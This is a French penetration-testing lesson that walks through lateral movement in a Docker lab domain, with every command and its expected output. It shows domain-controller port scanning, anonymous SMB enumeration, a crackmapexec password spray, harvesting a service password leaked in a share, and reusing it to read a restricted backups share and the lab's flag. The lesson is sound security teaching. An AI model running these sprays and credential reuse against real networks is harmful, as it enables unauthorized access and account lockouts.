Mouvements latéraux — Démonstration guidée
La leçon 10.1 a posé le vocabulaire : pivot, tunnel, relay,
impersonation. Ici, on n'ouvre ni ligolo-ng ni un Golden Ticket. On
déroule la chaîne la plus fréquente d'un pentest interne en 2026 : un
mot de passe saisonnier, un partage trop ouvert, un credential de
service collé dans un README. Pas d'exploit. Juste une identité qui
change.
Cette démonstration rejoue exactement le lab de l'atelier
(labs/docker/module-10-mouvements-lateraux). L'atelier vous y met
ensuite seul. Ici, chaque commande vient avec la sortie attendue et
la phrase qui dit ce qu'elle prouve.
Les deux conteneurs vivent sur 10.20.30.0/24. Aucun port AD n'est
publié vers l'hôte. Toutes les commandes de cette leçon s'exécutent
depuis le shell de m10-attaquant.
Ce que vous saurez faire
- Lire une signature de contrôleur de domaine sur un scan de ports ciblé, sans noyer le LAN.
- Distinguer une énumération SMB anonyme d'une énumération authentifiée, et ce que chacune autorise.
- Extraire un credential fuité dans un partage, puis le réutiliser pour ouvrir une ressource refusée à la première identité.
- Qualifier le finding : ce n'est pas « SMB ouvert », c'est une chaîne à quatre maillons.
Mise en place
cd inskillsec-docusaurus/labs/docker/module-10-mouvements-lateraux
docker compose up -d
Le premier boot du DC prend environ une minute : provision du domaine
CORP.ACME.LOCAL, création des comptes, pose des deux partages. Le
conteneur attaquant attend que dc01 soit healthy. Suivez la
provision :
docker logs -f m10-dc01
Quand la ligne [m10] === Daemon en premier plan === apparaît, le
domaine est prêt. Ouvrez le shell attaquant :
docker compose exec attaquant bash
Vous êtes sur Kali, en 10.20.30.5. La cible est
dc01.corp.acme.local en 10.20.30.10. Le DNS du conteneur pointe
déjà vers le DC : les résolutions dc01 et dc01.corp.acme.local
fonctionnent sans /etc/hosts bricolé.
| Élément | Valeur |
|---|---|
| Domaine | CORP.ACME.LOCAL (NetBIOS CORP) |
| Contrôleur | dc01.corp.acme.local — 10.20.30.10 |
| Attaquant | Kali — 10.20.30.5 |
| Point de départ | aucun credential |
La chaîne en un schéma
Six sauts. Un seul compte faible au départ. La bascule vers
svc_sql n'est pas une élévation kernel : c'est une
impersonation obtenue par un fichier mal rangé.
Étape 1 — reconnaissance réseau
Vous n'avez aucun mot de passe. Vous cartographiez le DC avec une
liste de ports, pas un -p-. Un scan large sur un LAN d'entreprise
casse des imprimantes ; ici, on cherche la signature d'un
contrôleur de domaine.
nmap -Pn -p22,53,88,135,139,389,445,464,636,3268,3269 10.20.30.10
Sortie attendue :
Starting Nmap 7.95 ( https://nmap.org )
Nmap scan report for dc01.corp.acme.local (10.20.30.10)
Host is up (0.00080s latency).
PORT STATE SERVICE
22/tcp closed ssh
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
Lecture. La combinaison 88 + 389 + 3268 + 445 n'est pas
un serveur de fichiers ordinaire. Kerberos, LDAP et le catalogue
global, c'est un DC. 22 fermé est normal : Samba AD n'ouvre pas
SSH. Notez ces ports dans le rapport, c'est votre carte. Vous n'avez
encore rien authentifié.
Pourquoi ces ports et pas un scan complet
Sur un /24 interne, l'apparition de Kerberos + LDAP + catalogue
global dit « concentrez-vous ici ». SMB et le mapper RPC (135)
s'ouvrent aussi sur beaucoup de Windows non-DC. C'est la
conjonction qui tranche. Le -Pn évite un ping ICMP souvent
filtré ; le DC répond quand même sur TCP.
Étape 2 — énumération SMB anonyme
Avant le spray, demandez au service SMB ce qu'il montre à un client sans mot de passe. Ça ne donne pas encore de fichier. Ça donne une liste de noms.
smbclient -N -L //10.20.30.10
Sortie attendue (extraits) :
Sharename Type Comment
--------- ---- -------
netlogon Disk Network Logon Service
sysvol Disk
team-notes Disk Notes internes de l'equipe support (lecture pour tous)
backups Disk Sauvegardes internes (acces reserve svc_sql)
IPC$ IPC IPC Service (Samba 4.19)
Lecture. Deux partages « métier » sortent déjà : team-notes et
backups. Les commentaires Samba parlent tout seuls — un admin a
écrit « lecture pour tous » et « accès réservé svc_sql ». Vous
n'avez pas encore le droit de lire. Tentez quand même, pour poser
le constat d'anonymat :
smbclient -N '//10.20.30.10/team-notes' -c 'ls'
Sortie attendue :
tree connect failed: NT_STATUS_ACCESS_DENIED
Le partage existe, il se voit, il refuse l'anonyme. Il faudra une identité de domaine. C'est précisément le rôle du spray.
Étape 3 — password spray
Vous supposez trois comptes fréquents et trois mots de passe saisonniers. Pas une wordlist de 14 millions : un spray, c'est peu de mots contre plusieurs comptes, sous le seuil de verrouillage.
echo -e "alice\nbob\nsvc_sql" > /tmp/users.txt
echo -e "Summer2025!\nWinter2024!\nPassword1" > /tmp/passwords.txt
crackmapexec smb 10.20.30.10 \
-u /tmp/users.txt \
-p /tmp/passwords.txt \
--continue-on-success
Sortie attendue (les lignes utiles) :
SMB 10.20.30.10 445 DC01 [*] Windows 6.1 Build 0 (name:DC01) (domain:CORP) (signing:True) (SMBv1:False)
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\bob:Summer2025!
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Summer2025! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\svc_sql:Winter2024! STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\alice:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [-] CORP\bob:Password1 STATUS_LOGON_FAILURE
SMB 10.20.30.10 445 DC01 [+] CORP\svc_sql:Password1
Lecture. Les lignes [+] sont des authentifications réussies.
Vous tenez au moins bob:Summer2025!. Le spray peut aussi
afficher svc_sql:Password1 : Password1 est dans la petite
wordlist. On ne saute pas pour autant à backups. En mission,
ce mot n'est pas toujours dans votre liste. Le finding à
documenter, c'est la fuite dans le partage. On continue donc avec
bob, comme si svc_sql n'avait pas cédé.
--continue-on-success évite que l'outil s'arrête au premier
compte. Il ne vous autorise pas à tester rockyou.txt contre le
domaine. Au-delà de quelques candidats, vous verrouillez des
comptes et l'admin voit le spray. Ici le lab est permissif ; un
vrai AD ne l'est pas.
alice résiste aux trois candidats : leurre volontaire. Un spray
qui trouve un compte sur trois, c'est déjà un premier accès.
Sur certaines images Kali, crackmapexec s'appelle nxc : même
binaire, même syntaxe.
Étape 4 — énumération des partages en tant que bob
Même service SMB, autre identité. Demandez les droits réels, pas seulement les noms.
crackmapexec smb 10.20.30.10 -u bob -p 'Summer2025!' --shares
Sortie attendue :
SMB 10.20.30.10 445 DC01 [*] Enumerated shares
SMB 10.20.30.10 445 DC01 Share Permissions Remark
SMB 10.20.30.10 445 DC01 ----- ----------- ------
SMB 10.20.30.10 445 DC01 netlogon READ
SMB 10.20.30.10 445 DC01 sysvol READ
SMB 10.20.30.10 445 DC01 team-notes READ Notes internes de l'equipe support
SMB 10.20.30.10 445 DC01 backups Sauvegardes internes (acces reserve svc_sql)
SMB 10.20.30.10 445 DC01 IPC$
| Partage | Droits de bob | Commentaire |
|---|---|---|
sysvol / netlogon | READ | Partages AD standards, souvent vides ici |
team-notes | READ | Notes d'équipe support — cible immédiate |
backups | (aucun) | Refus. C'est la ressource finale |
bob lit team-notes. bob ne lit pas backups. Le pivot,
s'il existe, est dans le partage lisible. On n'attaque pas
Kerberos tant qu'on n'a pas lu les fichiers d'équipe.
Étape 5 — lecture de team-notes
smbclient '//10.20.30.10/team-notes' -U 'bob%Summer2025!' \
-c 'ls; mget *; exit'
smbclient demande confirmation avant chaque mget si vous omettez
le -c. Avec -c, les deux fichiers arrivent dans le répertoire
courant :
README-Onboarding.txt N 1540 ...
deploy-notes.md N 420 ...
Lisez-les.
cat README-Onboarding.txt
cat deploy-notes.md
Sortie attendue (passage utile de l'onboarding) :
2. Le SQL Server tourne sur dc01:1433. Si tu dois faire une extraction
pour la compta, connecte-toi avec le compte de service svc_sql. Le
mot de passe est "Password1" — on doit le changer depuis 2 ans mais
personne n a le temps, l acces au SQL est de toute facon interne.
3. Les sauvegardes nocturnes sont sur \\dc01\backups. svc_sql peut y
lire, pas ton compte perso.
deploy-notes.md répète le même couple svc_sql / Password1 dans
une checklist de déploiement. Deux fichiers, une seule fuite.
Vous tenez le pivot : svc_sql:Password1.
Un mot de passe de service en clair dans un partage ouvert à tout utilisateur authentifié combine trois défauts : ACL trop large, rotation absente, onboarding par fichier partagé au lieu d'un coffre. Chacun doit apparaître comme une mesure corrective distincte. « Durcir SMB » ne corrige rien de tout ça.
Étape 6 — bascule d'identité vers svc_sql
Même ressource, deux identités. Le refus puis l'accès prouvent que la latéralisation tient uniquement au compte, pas à un exploit.
smbclient '//10.20.30.10/backups' -U 'bob%Summer2025!' -c 'ls'
Sortie attendue :
NT_STATUS_ACCESS_DENIED listing \*
Puis :
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' -c 'ls'
Sortie attendue :
secret.txt N 2100 ...
bob est toujours authentifié sur le domaine. Il n'a simplement
pas le droit. svc_sql l'a. Vous venez de latéraliser : nouvelle
identité, nouvelle ressource, aucun binaire déposé sur le DC.
Vérifiez aussi les partages depuis svc_sql, pour le rapport :
crackmapexec smb 10.20.30.10 -u svc_sql -p 'Password1' --shares
backups passe en READ. Le flag est en lecture ; on n'écrit rien.
Étape 7 — lecture du flag
smbclient '//10.20.30.10/backups' -U 'svc_sql%Password1' \
-c 'get secret.txt /tmp/flag.txt; exit'
cat /tmp/flag.txt
Le fichier raconte la chaîne que vous venez d'exécuter. La ligne qui compte :
Le drapeau que vous cherchez : FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Flag attendu :
FLAG-M10-CREDENTIAL-LEAK-CHAIN-2026
Gardez le fichier. L'atelier demandera de le joindre au rapport
rapport/lateralisation-m10.md.
Lire la sortie — ce que chaque signal vaut
Trois phrases à pouvoir dire devant un client, sans jargon.
- Un DC se reconnaît à sa signature de ports, pas à son nom.
88+389+3268suffisent. Le nomdc01est un cadeau du lab ; en mission, le même motif apparaît surSRV-ADS-01. - Voir un partage n'est pas y entrer. L'anonyme liste
team-notesetbackups. Seule une identité de domaine ouvre le premier. Seulsvc_sqlouvre le second. Documentez les trois niveaux : listé, lu, refusé. - Le mouvement latéral n'exige pas un exploit. Ici, le saut tient à un README. En 10.1, Pass-the-Hash et le relay SMB font le même métier avec d'autres objets (hash, challenge). Le livrable est identique : une nouvelle identité, une nouvelle ressource.
Le lab ne démontre pas le Kerberoasting fonctionnel : Samba AD
4.19+ rejette les TGS d'Impacket (KRB_AP_ERR_INAPP_CKSUM). Les
SPN restent visibles ; pour un vrai ticket, HackTheBox Forest
ou TryHackMe Attacktive Directory.
Là où cela dérape
dc01n'est pashealthy.nmapsur445restefilteredouhost down. Relisezdocker logs m10-dc01: tant que[m10] === Daemon en premier plan ===n'est pas là, le SMB n'écoute pas. Attendez, oudocker compose ps.Summer2025!sans quotes. Le!se fait manger par bash. Écrivez-p 'Summer2025!'ou-U 'bob%Summer2025!'.crackmapexecintrouvable. Tapeznxc— même outil, nouveau nom. La syntaxe--sharesne change pas.mgetinteractif. Sans-c,smbclientposeGet file ...?pour chaque fichier. Répondezy, ou relancez avec-c 'lcd /tmp; prompt OFF; mget *; exit'.get secret.txt /tmp/flag.txtéchoue. Vous n'êtes pas en sessionsvc_sql, ou lelcdpointe ailleurs. Vérifiez avec-c 'ls'd'abord.- Vous utilisez le mot de l'Administrator du README du lab. C'est tricher l'exercice. La démonstration part d'un accès réseau seul. Le compte admin existe pour que le DC tienne, pas pour servir de raccourci.
Ce qu'il faut retenir
Le mouvement latéral de cette leçon tient en une phrase : une
identité faible ouvre un partage trop large, qui livre une identité
plus utile, qui ouvre la ressource visée. Vous n'avez posé aucun
implant, aucun tunnel, aucun ticket forgé. En mission, cette chaîne
se documente maillon par maillon — mot de passe saisonnier,
partage Domain Users, secret en clair, compte de service sans
rotation — parce que couper un maillon suffit à la casser.
L'atelier reprend le même lab, sans cette page ouverte. Vous
rejouez les six étapes, vous rédigez le rapport, vous éteignez
avec docker compose down -v.